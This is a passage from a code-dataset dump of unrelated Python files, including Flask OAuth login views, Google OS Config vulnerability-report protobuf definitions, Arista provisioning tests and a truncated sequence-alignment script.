= {}\n\t\tnspksByResponseReq['simMean'] = self.datadict['nspksByResponseReq']['sim'].mean()\n\t\tnspksByResponseReq['simSEM'] = self.datadict['nspksByResponseReq']['sim'].sem()\n\t\tnspksByResponseReq['simCI'] = 1.0\n\t\tnspksByResponseReq['laserMean'] = self.datadict['nspksByResponseReq']['laser'].mean()\n\t\tnspksByResponseReq['laserSEM'] = self.datadict['nspksByResponseReq']['laser'].sem()\n\t\tnspksByResponseReq['laserCI'] = 1.0\n\t\tnspksByResponseReq['p'] = scipy.stats.ttest_rel(self.datadict['nspksByResponseReq']['sim'], self.datadict['nspksByResponseReq']['laser'])\n\t\t\n\t\treturn nspksByResponseReq\n\n\n","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"533277080","text":"x=20\ny=30\ndef add(x,y):#parameters\n sum=x+y\n print('sum of two numbers %d and %d is %d'%(x,y,sum))\nadd(2,3)#arguments\nprint(x+y)\nx=str(20)\ny=str(30)\nprint(x+y)\ndef fn1():\n return 'Hello'#returns stops and sends residue to the calling statement\n print('eg')#doesnt get printed\nprint(fn1(),'Gopi')\n","sub_path":"Function2.py","file_name":"Function2.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"615339129","text":"from flask import render_template, session, request, redirect, url_for, current_app, abort\nfrom flask_login import logout_user, login_required\nfrom flask_babel import gettext as _\n\nfrom ..auth import auth_bp\nfrom ..auth.utils import login_success\nfrom ..auth.service import services, google, github\nfrom ..utils import message\n\n\n@auth_bp.route('/select', endpoint='select')\ndef select_provider():\n session['next'] = request.args.get('next')\n return render_template('auth/select.html')\n\n\n@auth_bp.route('/login/', endpoint='login')\ndef remote_login(provider):\n if provider == 'local':\n if not current_app.config['DEBUG']:\n abort(404)\n return local_login_callback(request.args.get('email', None))\n if provider not in services:\n message.error(_('service \"%(provider)s\" is not supported', provider=provider).capitalize())\n return redirect(url_for('auth.select'))\n view_name = 'auth.callback-%s' % provider\n callback = url_for(view_name, _external=True)\n service = services[provider]\n return service.authorize(callback=callback)\n\n\n@auth_bp.route('/callback/google', endpoint='callback-google')\ndef google_remote_login_callback():\n resp = google.authorized_response()\n if resp is None or resp.get('access_token') is None:\n message.error(_('access denied, reason: %(reason)s error: %(error)s', **request.args).capitalize())\n redirect(url_for('home'))\n access_token = resp.get('access_token')\n if access_token:\n session['access_token'] = (access_token, '')\n me = google.get('userinfo')\n return login_success(me.data['email'], access_token, me.data['id'], 'google')\n return redirect(url_for('auth.select'))\n\n\n@auth_bp.route('/callback/github', endpoint='callback-github')\ndef github_remote_login_callback():\n resp = github.authorized_response()\n if resp is None or resp.get('access_token') is None:\n message.error(_('access denied, reason: %(reason)s error: %(error)s', **request.args).capitalize())\n redirect(url_for('home'))\n access_token = resp.get('access_token')\n if access_token:\n session['access_token'] = (access_token, '')\n me = github.get('user')\n if me.data['email'] is not None:\n return login_success(me.data['email'], access_token, me.data['id'], 'github')\n else:\n message.error(_('Login with GitHub requires that user sets the email as public and your is private'))\n return redirect(url_for('auth.select'))\n\n\ndef local_login_callback(resp):\n if resp is not None:\n email = resp\n else:\n email = 'user@example.com'\n return login_success(email, 'dummy', 'dummy', 'local handler', nick='example user')\n\n\n@auth_bp.route('/logout', endpoint='logout')\n@login_required\ndef logout():\n logout_user()\n session.pop('access_token', None)\n message.warning(_('you have been logged out').capitalize())\n return redirect(url_for('home.index'))\n","sub_path":"ecpapp/auth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"191958513","text":"# -*- coding: utf-8 -*-\n# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom __future__ import annotations\n\nfrom typing import MutableMapping, MutableSequence\n\nfrom google.protobuf import timestamp_pb2 # type: ignore\nimport proto # type: ignore\n\n__protobuf__ = proto.module(\n package=\"google.cloud.osconfig.v1alpha\",\n manifest={\n \"VulnerabilityReport\",\n \"GetVulnerabilityReportRequest\",\n \"ListVulnerabilityReportsRequest\",\n \"ListVulnerabilityReportsResponse\",\n \"CVSSv3\",\n },\n)\n\n\nclass VulnerabilityReport(proto.Message):\n r\"\"\"This API resource represents the vulnerability report for a\n specified Compute Engine virtual machine (VM) instance at a given\n point in time.\n\n For more information, see `Vulnerability\n reports `__.\n\n Attributes:\n name (str):\n Output only. The ``vulnerabilityReport`` API resource name.\n\n Format:\n ``projects/{project_number}/locations/{location}/instances/{instance_id}/vulnerabilityReport``\n vulnerabilities (MutableSequence[google.cloud.osconfig_v1alpha.types.VulnerabilityReport.Vulnerability]):\n Output only. List of vulnerabilities\n affecting the VM.\n update_time (google.protobuf.timestamp_pb2.Timestamp):\n Output only. The timestamp for when the last\n vulnerability report was generated for the VM.\n \"\"\"\n\n class Vulnerability(proto.Message):\n r\"\"\"A vulnerability affecting the VM instance.\n\n Attributes:\n details (google.cloud.osconfig_v1alpha.types.VulnerabilityReport.Vulnerability.Details):\n Contains metadata as per the upstream feed of\n the operating system and NVD.\n installed_inventory_item_ids (MutableSequence[str]):\n Corresponds to the ``INSTALLED_PACKAGE`` inventory item on\n the VM. This field displays the inventory items affected by\n this vulnerability. If the vulnerability report was not\n updated after the VM inventory update, these values might\n not display in VM inventory. For some distros, this field\n may be empty.\n available_inventory_item_ids (MutableSequence[str]):\n Corresponds to the ``AVAILABLE_PACKAGE`` inventory item on\n the VM. If the vulnerability report was not updated after\n the VM inventory update, these values might not display in\n VM inventory. If there is no available fix, the field is\n empty. The ``inventory_item`` value specifies the latest\n ``SoftwarePackage`` available to the VM that fixes the\n vulnerability.\n create_time (google.protobuf.timestamp_pb2.Timestamp):\n The timestamp for when the vulnerability was\n first detected.\n update_time (google.protobuf.timestamp_pb2.Timestamp):\n The timestamp for when the vulnerability was\n last modified.\n items (MutableSequence[google.cloud.osconfig_v1alpha.types.VulnerabilityReport.Vulnerability.Item]):\n List of items affected by the vulnerability.\n \"\"\"\n\n class Details(proto.Message):\n r\"\"\"Contains metadata information for the vulnerability. This\n information is collected from the upstream feed of the operating\n system.\n\n Attributes:\n cve (str):\n The CVE of the vulnerability. CVE cannot be\n empty and the combination of should be unique across\n vulnerabilities for a VM.\n cvss_v2_score (float):\n The CVSS V2 score of this vulnerability. CVSS\n V2 score is on a scale of 0 - 10 where 0\n indicates low severity and 10 indicates high\n severity.\n cvss_v3 (google.cloud.osconfig_v1alpha.types.CVSSv3):\n The full description of the CVSSv3 for this\n vulnerability from NVD.\n severity (str):\n Assigned severity/impact ranking from the\n distro.\n description (str):\n The note or description describing the\n vulnerability from the distro.\n references (MutableSequence[google.cloud.osconfig_v1alpha.types.VulnerabilityReport.Vulnerability.Details.Reference]):\n Corresponds to the references attached to the\n ``VulnerabilityDetails``.\n \"\"\"\n\n class Reference(proto.Message):\n r\"\"\"A reference for this vulnerability.\n\n Attributes:\n url (str):\n The url of the reference.\n source (str):\n The source of the reference e.g. NVD.\n \"\"\"\n\n url: str = proto.Field(\n proto.STRING,\n number=1,\n )\n source: str = proto.Field(\n proto.STRING,\n number=2,\n )\n\n cve: str = proto.Field(\n proto.STRING,\n number=1,\n )\n cvss_v2_score: float = proto.Field(\n proto.FLOAT,\n number=2,\n )\n cvss_v3: \"CVSSv3\" = proto.Field(\n proto.MESSAGE,\n number=3,\n message=\"CVSSv3\",\n )\n severity: str = proto.Field(\n proto.STRING,\n number=4,\n )\n description: str = proto.Field(\n proto.STRING,\n number=5,\n )\n references: MutableSequence[\n \"VulnerabilityReport.Vulnerability.Details.Reference\"\n ] = proto.RepeatedField(\n proto.MESSAGE,\n number=6,\n message=\"VulnerabilityReport.Vulnerability.Details.Reference\",\n )\n\n class Item(proto.Message):\n r\"\"\"OS inventory item that is affected by a vulnerability or\n fixed as a result of a vulnerability.\n\n Attributes:\n installed_inventory_item_id (str):\n Corresponds to the ``INSTALLED_PACKAGE`` inventory item on\n the VM. This field displays the inventory items affected by\n this vulnerability. If the vulnerability report was not\n updated after the VM inventory update, these values might\n not display in VM inventory. For some operating systems,\n this field might be empty.\n available_inventory_item_id (str):\n Corresponds to the ``AVAILABLE_PACKAGE`` inventory item on\n the VM. If the vulnerability report was not updated after\n the VM inventory update, these values might not display in\n VM inventory. If there is no available fix, the field is\n empty. The ``inventory_item`` value specifies the latest\n ``SoftwarePackage`` available to the VM that fixes the\n vulnerability.\n fixed_cpe_uri (str):\n The recommended `CPE\n URI `__ update that\n contains a fix for this vulnerability.\n upstream_fix (str):\n The upstream OS patch, packages or KB that\n fixes the vulnerability.\n \"\"\"\n\n installed_inventory_item_id: str = proto.Field(\n proto.STRING,\n number=1,\n )\n available_inventory_item_id: str = proto.Field(\n proto.STRING,\n number=2,\n )\n fixed_cpe_uri: str = proto.Field(\n proto.STRING,\n number=3,\n )\n upstream_fix: str = proto.Field(\n proto.STRING,\n number=4,\n )\n\n details: \"VulnerabilityReport.Vulnerability.Details\" = proto.Field(\n proto.MESSAGE,\n number=1,\n message=\"VulnerabilityReport.Vulnerability.Details\",\n )\n installed_inventory_item_ids: MutableSequence[str] = proto.RepeatedField(\n proto.STRING,\n number=2,\n )\n available_inventory_item_ids: MutableSequence[str] = proto.RepeatedField(\n proto.STRING,\n number=3,\n )\n create_time: timestamp_pb2.Timestamp = proto.Field(\n proto.MESSAGE,\n number=4,\n message=timestamp_pb2.Timestamp,\n )\n update_time: timestamp_pb2.Timestamp = proto.Field(\n proto.MESSAGE,\n number=5,\n message=timestamp_pb2.Timestamp,\n )\n items: MutableSequence[\n \"VulnerabilityReport.Vulnerability.Item\"\n ] = proto.RepeatedField(\n proto.MESSAGE,\n number=6,\n message=\"VulnerabilityReport.Vulnerability.Item\",\n )\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n vulnerabilities: MutableSequence[Vulnerability] = proto.RepeatedField(\n proto.MESSAGE,\n number=2,\n message=Vulnerability,\n )\n update_time: timestamp_pb2.Timestamp = proto.Field(\n proto.MESSAGE,\n number=3,\n message=timestamp_pb2.Timestamp,\n )\n\n\nclass GetVulnerabilityReportRequest(proto.Message):\n r\"\"\"A request message for getting the vulnerability report for\n the specified VM.\n\n Attributes:\n name (str):\n Required. API resource name for vulnerability resource.\n\n Format:\n ``projects/{project}/locations/{location}/instances/{instance}/vulnerabilityReport``\n\n For ``{project}``, either ``project-number`` or\n ``project-id`` can be provided. For ``{instance}``, either\n Compute Engine ``instance-id`` or ``instance-name`` can be\n provided.\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass ListVulnerabilityReportsRequest(proto.Message):\n r\"\"\"A request message for listing vulnerability reports for all\n VM instances in the specified location.\n\n Attributes:\n parent (str):\n Required. The parent resource name.\n\n Format:\n ``projects/{project}/locations/{location}/instances/-``\n\n For ``{project}``, either ``project-number`` or\n ``project-id`` can be provided.\n page_size (int):\n The maximum number of results to return.\n page_token (str):\n A pagination token returned from a previous call to\n ``ListVulnerabilityReports`` that indicates where this\n listing should continue from.\n filter (str):\n If provided, this field specifies the criteria that must be\n met by a ``vulnerabilityReport`` API resource to be included\n in the response.\n \"\"\"\n\n parent: str = proto.Field(\n proto.STRING,\n number=1,\n )\n page_size: int = proto.Field(\n proto.INT32,\n number=2,\n )\n page_token: str = proto.Field(\n proto.STRING,\n number=3,\n )\n filter: str = proto.Field(\n proto.STRING,\n number=4,\n )\n\n\nclass ListVulnerabilityReportsResponse(proto.Message):\n r\"\"\"A response message for listing vulnerability reports for all\n VM instances in the specified location.\n\n Attributes:\n vulnerability_reports (MutableSequence[google.cloud.osconfig_v1alpha.types.VulnerabilityReport]):\n List of vulnerabilityReport objects.\n next_page_token (str):\n The pagination token to retrieve the next\n page of vulnerabilityReports object.\n \"\"\"\n\n @property\n def raw_page(self):\n return self\n\n vulnerability_reports: MutableSequence[\"VulnerabilityReport\"] = proto.RepeatedField(\n proto.MESSAGE,\n number=1,\n message=\"VulnerabilityReport\",\n )\n next_page_token: str = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass CVSSv3(proto.Message):\n r\"\"\"Common Vulnerability Scoring System version 3.\n For details, see\n https://www.first.org/cvss/specification-document\n\n Attributes:\n base_score (float):\n The base score is a function of the base\n metric scores.\n https://www.first.org/cvss/specification-document#Base-Metrics\n exploitability_score (float):\n The Exploitability sub-score equation is\n derived from the Base Exploitability metrics.\n https://www.first.org/cvss/specification-document#2-1-Exploitability-Metrics\n impact_score (float):\n The Impact sub-score equation is derived from\n the Base Impact metrics.\n attack_vector (google.cloud.osconfig_v1alpha.types.CVSSv3.AttackVector):\n This metric reflects the context by which\n vulnerability exploitation is possible.\n attack_complexity (google.cloud.osconfig_v1alpha.types.CVSSv3.AttackComplexity):\n This metric describes the conditions beyond\n the attacker's control that must exist in order\n to exploit the vulnerability.\n privileges_required (google.cloud.osconfig_v1alpha.types.CVSSv3.PrivilegesRequired):\n This metric describes the level of privileges\n an attacker must possess before successfully\n exploiting the vulnerability.\n user_interaction (google.cloud.osconfig_v1alpha.types.CVSSv3.UserInteraction):\n This metric captures the requirement for a\n human user, other than the attacker, to\n participate in the successful compromise of the\n vulnerable component.\n scope (google.cloud.osconfig_v1alpha.types.CVSSv3.Scope):\n The Scope metric captures whether a\n vulnerability in one vulnerable component\n impacts resources in components beyond its\n security scope.\n confidentiality_impact (google.cloud.osconfig_v1alpha.types.CVSSv3.Impact):\n This metric measures the impact to the\n confidentiality of the information resources\n managed by a software component due to a\n successfully exploited vulnerability.\n integrity_impact (google.cloud.osconfig_v1alpha.types.CVSSv3.Impact):\n This metric measures the impact to integrity\n of a successfully exploited vulnerability.\n availability_impact (google.cloud.osconfig_v1alpha.types.CVSSv3.Impact):\n This metric measures the impact to the\n availability of the impacted component resulting\n from a successfully exploited vulnerability.\n \"\"\"\n\n class AttackVector(proto.Enum):\n r\"\"\"This metric reflects the context by which vulnerability\n exploitation is possible.\n\n Values:\n ATTACK_VECTOR_UNSPECIFIED (0):\n Invalid value.\n ATTACK_VECTOR_NETWORK (1):\n The vulnerable component is bound to the\n network stack and the set of possible attackers\n extends beyond the other options listed below,\n up to and including the entire Internet.\n ATTACK_VECTOR_ADJACENT (2):\n The vulnerable component is bound to the\n network stack, but the attack is limited at the\n protocol level to a logically adjacent topology.\n ATTACK_VECTOR_LOCAL (3):\n The vulnerable component is not bound to the\n network stack and the attacker's path is via\n read/write/execute capabilities.\n ATTACK_VECTOR_PHYSICAL (4):\n The attack requires the attacker to\n physically touch or manipulate the vulnerable\n component.\n \"\"\"\n ATTACK_VECTOR_UNSPECIFIED = 0\n ATTACK_VECTOR_NETWORK = 1\n ATTACK_VECTOR_ADJACENT = 2\n ATTACK_VECTOR_LOCAL = 3\n ATTACK_VECTOR_PHYSICAL = 4\n\n class AttackComplexity(proto.Enum):\n r\"\"\"This metric describes the conditions beyond the attacker's\n control that must exist in order to exploit the vulnerability.\n\n Values:\n ATTACK_COMPLEXITY_UNSPECIFIED (0):\n Invalid value.\n ATTACK_COMPLEXITY_LOW (1):\n Specialized access conditions or extenuating\n circumstances do not exist. An attacker can\n expect repeatable success when attacking the\n vulnerable component.\n ATTACK_COMPLEXITY_HIGH (2):\n A successful attack depends on conditions\n beyond the attacker's control. That is, a\n successful attack cannot be accomplished at\n will, but requires the attacker to invest in\n some measurable amount of effort in preparation\n or execution against the vulnerable component\n before a successful attack can be expected.\n \"\"\"\n ATTACK_COMPLEXITY_UNSPECIFIED = 0\n ATTACK_COMPLEXITY_LOW = 1\n ATTACK_COMPLEXITY_HIGH = 2\n\n class PrivilegesRequired(proto.Enum):\n r\"\"\"This metric describes the level of privileges an attacker\n must possess before successfully exploiting the vulnerability.\n\n Values:\n PRIVILEGES_REQUIRED_UNSPECIFIED (0):\n Invalid value.\n PRIVILEGES_REQUIRED_NONE (1):\n The attacker is unauthorized prior to attack,\n and therefore does not require any access to\n settings or files of the vulnerable system to\n carry out an attack.\n PRIVILEGES_REQUIRED_LOW (2):\n The attacker requires privileges that provide\n basic user capabilities that could normally\n affect only settings and files owned by a user.\n Alternatively, an attacker with Low privileges\n has the ability to access only non-sensitive\n resources.\n PRIVILEGES_REQUIRED_HIGH (3):\n The attacker requires privileges that provide\n significant (e.g., administrative) control over\n the vulnerable component allowing access to\n component-wide settings and files.\n \"\"\"\n PRIVILEGES_REQUIRED_UNSPECIFIED = 0\n PRIVILEGES_REQUIRED_NONE = 1\n PRIVILEGES_REQUIRED_LOW = 2\n PRIVILEGES_REQUIRED_HIGH = 3\n\n class UserInteraction(proto.Enum):\n r\"\"\"This metric captures the requirement for a human user, other\n than the attacker, to participate in the successful compromise\n of the vulnerable component.\n\n Values:\n USER_INTERACTION_UNSPECIFIED (0):\n Invalid value.\n USER_INTERACTION_NONE (1):\n The vulnerable system can be exploited\n without interaction from any user.\n USER_INTERACTION_REQUIRED (2):\n Successful exploitation of this vulnerability\n requires a user to take some action before the\n vulnerability can be exploited.\n \"\"\"\n USER_INTERACTION_UNSPECIFIED = 0\n USER_INTERACTION_NONE = 1\n USER_INTERACTION_REQUIRED = 2\n\n class Scope(proto.Enum):\n r\"\"\"The Scope metric captures whether a vulnerability in one\n vulnerable component impacts resources in components beyond its\n security scope.\n\n Values:\n SCOPE_UNSPECIFIED (0):\n Invalid value.\n SCOPE_UNCHANGED (1):\n An exploited vulnerability can only affect\n resources managed by the same security\n authority.\n SCOPE_CHANGED (2):\n An exploited vulnerability can affect\n resources beyond the security scope managed by\n the security authority of the vulnerable\n component.\n \"\"\"\n SCOPE_UNSPECIFIED = 0\n SCOPE_UNCHANGED = 1\n SCOPE_CHANGED = 2\n\n class Impact(proto.Enum):\n r\"\"\"The Impact metrics capture the effects of a successfully\n exploited vulnerability on the component that suffers the worst\n outcome that is most directly and predictably associated with\n the attack.\n\n Values:\n IMPACT_UNSPECIFIED (0):\n Invalid value.\n IMPACT_HIGH (1):\n High impact.\n IMPACT_LOW (2):\n Low impact.\n IMPACT_NONE (3):\n No impact.\n \"\"\"\n IMPACT_UNSPECIFIED = 0\n IMPACT_HIGH = 1\n IMPACT_LOW = 2\n IMPACT_NONE = 3\n\n base_score: float = proto.Field(\n proto.FLOAT,\n number=1,\n )\n exploitability_score: float = proto.Field(\n proto.FLOAT,\n number=2,\n )\n impact_score: float = proto.Field(\n proto.FLOAT,\n number=3,\n )\n attack_vector: AttackVector = proto.Field(\n proto.ENUM,\n number=5,\n enum=AttackVector,\n )\n attack_complexity: AttackComplexity = proto.Field(\n proto.ENUM,\n number=6,\n enum=AttackComplexity,\n )\n privileges_required: PrivilegesRequired = proto.Field(\n proto.ENUM,\n number=7,\n enum=PrivilegesRequired,\n )\n user_interaction: UserInteraction = proto.Field(\n proto.ENUM,\n number=8,\n enum=UserInteraction,\n )\n scope: Scope = proto.Field(\n proto.ENUM,\n number=9,\n enum=Scope,\n )\n confidentiality_impact: Impact = proto.Field(\n proto.ENUM,\n number=10,\n enum=Impact,\n )\n integrity_impact: Impact = proto.Field(\n proto.ENUM,\n number=11,\n enum=Impact,\n )\n availability_impact: Impact = proto.Field(\n proto.ENUM,\n number=12,\n enum=Impact,\n )\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n","sub_path":"google/cloud/osconfig_v1alpha/types/vulnerability.py","file_name":"vulnerability.py","file_ext":"py","file_size_in_byte":22982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"288437349","text":"from models import app, User\nfrom flask import jsonify, request\nfrom crud.user_crud import get_all_users, get_user, create_user, update_user\n\n\n@app.route('/')\ndef home():\n first_user = User.query.first()\n print(f'🎀 {first_user}')\n return jsonify(user=first_user.as_dict())\n\n# User GET and POST Routes \n@app.route('/users/', methods=['GET', 'POST'])\ndef user_index_create(): \n if request.method == 'GET':\n return get_all_users()\n if request.method == 'POST': \n return create_user(**request.form)\n\n#user GET, PUT, and DELETE routes \n@app.route('/users/', methods=['GET', 'PUT'])\ndef user_show_put_delete(id):\n if request.method == 'GET':\n return get_user(id)\n if request.method == 'PUT': \n return update_user(\n id, \n name=request.form['name'], \n email=request.form['email'],\n bio=request.form['bio'])\n\n#error handler \n@app.errorhandler(Exception) \ndef unhandeled_error(e):\n app.logger.error('Unhandeled Exception: %s' , (e))\n message_str = e.__str__()\n return jsonify(message=message_str.split(':')[0])","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"435368391","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nimport re\nimport os\n\n\ndef remove_comment(line):\n return line if re.match('\\w+', line) else ''\n\n\ndef read_conf_file(path):\n if os.path.exists(path):\n with open(path, 'r') as f:\n return f.read()\n\n\n# 读配置并去除掉注释和空行\ndef read_conf(conf_file):\n if os.path.exists(conf_file):\n return clean_content(read_conf_file(conf_file))\n\n\n# 判断一行内容是否为空白行\ndef is_space_line(line):\n if len(line.strip()) == 0:\n return True\n else:\n return False\n\n\n# 判断某一行内容是否是注释行(#开头的注释)\ndef is_note_line(line):\n if line.strip()[0] == '#':\n return True\n else:\n return False\n\n\n# 将输入的内容清洗(除空白, 除注释)\ndef clean_content(conf_file_content):\n content_result = \"\"\n\n lines = conf_file_content.split(\"\\n\")\n for line in lines:\n if is_space_line(line):\n continue\n elif is_note_line(line):\n continue\n # 正常内容\n index = line.find('#')\n if index != -1:\n content_result += (line[:index].rstrip() + \"\\n\")\n else:\n content_result += (line + \"\\n\")\n\n return content_result\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"basefunc.py","file_name":"basefunc.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"131719403","text":"#!/usr/bin/env python\n#\n# Copyright (c) 2014, Arista Networks, Inc.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n# - Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# - Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# - Neither the name of Arista Networks nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ARISTA NETWORKS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n# IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#pylint: disable=R0904,F0401,W0232,E1101\n\nimport os\nimport os.path\nimport unittest\nimport sys\n\nsys.path.append('test/client')\n\nfrom client_test_lib import debug #pylint: disable=W0611\nfrom client_test_lib import FLASH, STARTUP_CONFIG\nfrom client_test_lib import Bootstrap, ActionFailureTest\nfrom client_test_lib import file_log, remove_file, get_action\nfrom client_test_lib import startup_config_action, random_string\nfrom client_test_lib import print_action\n\nclass FailureTest(ActionFailureTest):\n\n def test_missing_url(self):\n self.basic_test('install_image', 1)\n\n def test_missing_version(self):\n self.basic_test('install_image', 2,\n attributes={'url' :\n random_string()})\n\n def test_url_failure(self):\n self.basic_test('install_image', 3,\n attributes={'url' :\n random_string(),\n 'version' :\n random_string()})\n\n\nclass SuccessTest(unittest.TestCase):\n\n def test_no_op(self):\n bootstrap = Bootstrap(ztps_default_config=True)\n version = random_string()\n bootstrap.eapi.version = version\n bootstrap.ztps.set_definition_response(\n actions=[{'action' : 'test_action',\n 'attributes': {\n 'url' : random_string(),\n 'version' : version}},\n {'action' :'startup_config_action'}])\n bootstrap.ztps.set_action_response('test_action',\n get_action('install_image'))\n bootstrap.ztps.set_action_response('startup_config_action',\n startup_config_action())\n bootstrap.start_test()\n\n try:\n self.failUnless(bootstrap.success())\n except AssertionError:\n raise\n finally:\n bootstrap.end_test()\n\n def test_success(self):\n bootstrap = Bootstrap(ztps_default_config=True)\n version = random_string()\n image = random_string()\n url = 'http://%s/%s' % (bootstrap.server, image)\n bootstrap.ztps.set_definition_response(\n actions=[{'action' : 'test_action',\n 'attributes' : {\n 'url' : url,\n 'version' : version}}])\n\n boot_file = '/tmp/boot-config'\n action = get_action('install_image')\n action = action.replace('/mnt/flash/boot-config',\n boot_file)\n bootstrap.ztps.set_action_response('test_action',\n action)\n bootstrap.ztps.set_file_response(image, print_action())\n bootstrap.start_test()\n\n image_file = '%s/%s.swi' % (FLASH, version)\n try:\n self.failUnless('! boot system flash:/%s.swi' % version\n in file_log(STARTUP_CONFIG))\n self.failUnless(os.path.isfile(image_file))\n self.failUnless(['SWI=flash:/%s.swi' % version] ==\n file_log(boot_file))\n self.failUnless(bootstrap.success())\n except AssertionError:\n raise\n finally:\n remove_file(image_file)\n remove_file(boot_file)\n bootstrap.end_test()\n\n def test_startup_config(self):\n bootstrap = Bootstrap(ztps_default_config=True)\n version = random_string()\n image = random_string()\n url = 'http://%s/%s' % (bootstrap.server, image)\n bootstrap.ztps.set_definition_response(\n actions=[{'action' : 'startup_config_action'},\n {'action' : 'test_action',\n 'attributes' : {\n 'url' : url,\n 'version' : version}}])\n wrong_version = '%s_test' % version\n bootstrap.ztps.set_action_response(\n 'startup_config_action',\n startup_config_action(lines=['! boot system flash:/%s.swi' %\n wrong_version]))\n\n boot_file = '/tmp/boot-config'\n action = get_action('install_image')\n action = action.replace('/mnt/flash/boot-config',\n boot_file)\n bootstrap.ztps.set_action_response('test_action',\n action)\n bootstrap.ztps.set_file_response(image, print_action())\n bootstrap.start_test()\n\n image_file = '%s/%s.swi' % (FLASH, version)\n try:\n self.failUnless('! boot system flash:/%s.swi' % version\n in file_log(STARTUP_CONFIG))\n self.failUnless('! boot system flash:/%s.swi' % wrong_version\n not in file_log(STARTUP_CONFIG))\n self.failUnless(os.path.isfile(image_file))\n self.failUnless(['SWI=flash:/%s.swi' % version] ==\n file_log(boot_file))\n self.failUnless(bootstrap.success())\n except AssertionError:\n raise\n finally:\n remove_file(image_file)\n remove_file(boot_file)\n bootstrap.end_test()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/actions/test_install_image.py","file_name":"test_install_image.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"525942634","text":"#!/usr/bin/python\r\nimport time\r\nimport sys\r\n\r\n# ------------------------------------------------------------\r\n# 1. Creating list of alignments\r\n# 2. Score an alignment\r\n\r\n\"\"\"PART 2\"\"\"\r\n\r\n\r\ndef score(x, y):\r\n if seq1[x] == seq2[y]:\r\n return 3\r\n else:\r\n return -1\r\n\r\n\r\nbest_score = 0\r\n\r\n\r\ndef dynamic_alignment(seq1, seq2):\r\n n = len(seq1) + 1\r\n m = len(seq2) + 1\r\n gap_score = -2\r\n # these variables are used frequently and its easier to save them like this\r\n\r\n # initialise a matrix of size ((length seq1)+1) * ((length seq2)+1), (n+1 columns and m+1 rows)\r\n score_matrix = [[0 for i in range(n)] for j in range(m)]\r\n traceback_matrix = [[\" \" for i in range(n)] for j in range(m)]\r\n\r\n traceback_matrix[0][0] = \"END\"\r\n # set base conditions\r\n for i in range(1, len(score_matrix)):\r\n score_matrix[i][0] = score_matrix[0][\r\n i] = gap_score * i # fill first column and row with increasing multiples of -2\r\n traceback_matrix[i][0] = \"U\" # first column of traceback matrix filled with \"U\"\r\n traceback_matrix[0][i] = \"L\" # top row of traceback matrix filled with \"L\"\r\n\r\n # calculate all score_matrix[i][j]\r\n for row in range(1, m):\r\n for column in range(1, n):\r\n match = score_matrix[row - 1][column - 1] + score(column - 1, row - 1)\r\n gap_seq1 = score_matrix[row - 1][column] + gap_score\r\n gap_seq2 = score_matrix[row][column - 1] + gap_score\r\n score_matrix[row][column] = max(match, gap_seq1,\r\n gap_seq2) # value in matrix takes the maximum value of the score for\r\n # each possibility up to that point\r\n global best_score\r\n best_score = score_matrix[m - 1][\r\n n - 1] # update best_score with the value in the bottom right corner of the matrix\r\n\r\n for row in range(1, m):\r\n for column in range(1, n):\r\n if score_matrix[row][column] == (score_matrix[row - 1][column - 1] + score(column - 1, row - 1)):\r\n traceback_matrix[row][\r\n column] = \"D\" # insert \"D\" into the traceback matrix if the max score came from the entry\r\n # left-diagonally above\r\n elif score_matrix[row][column] == 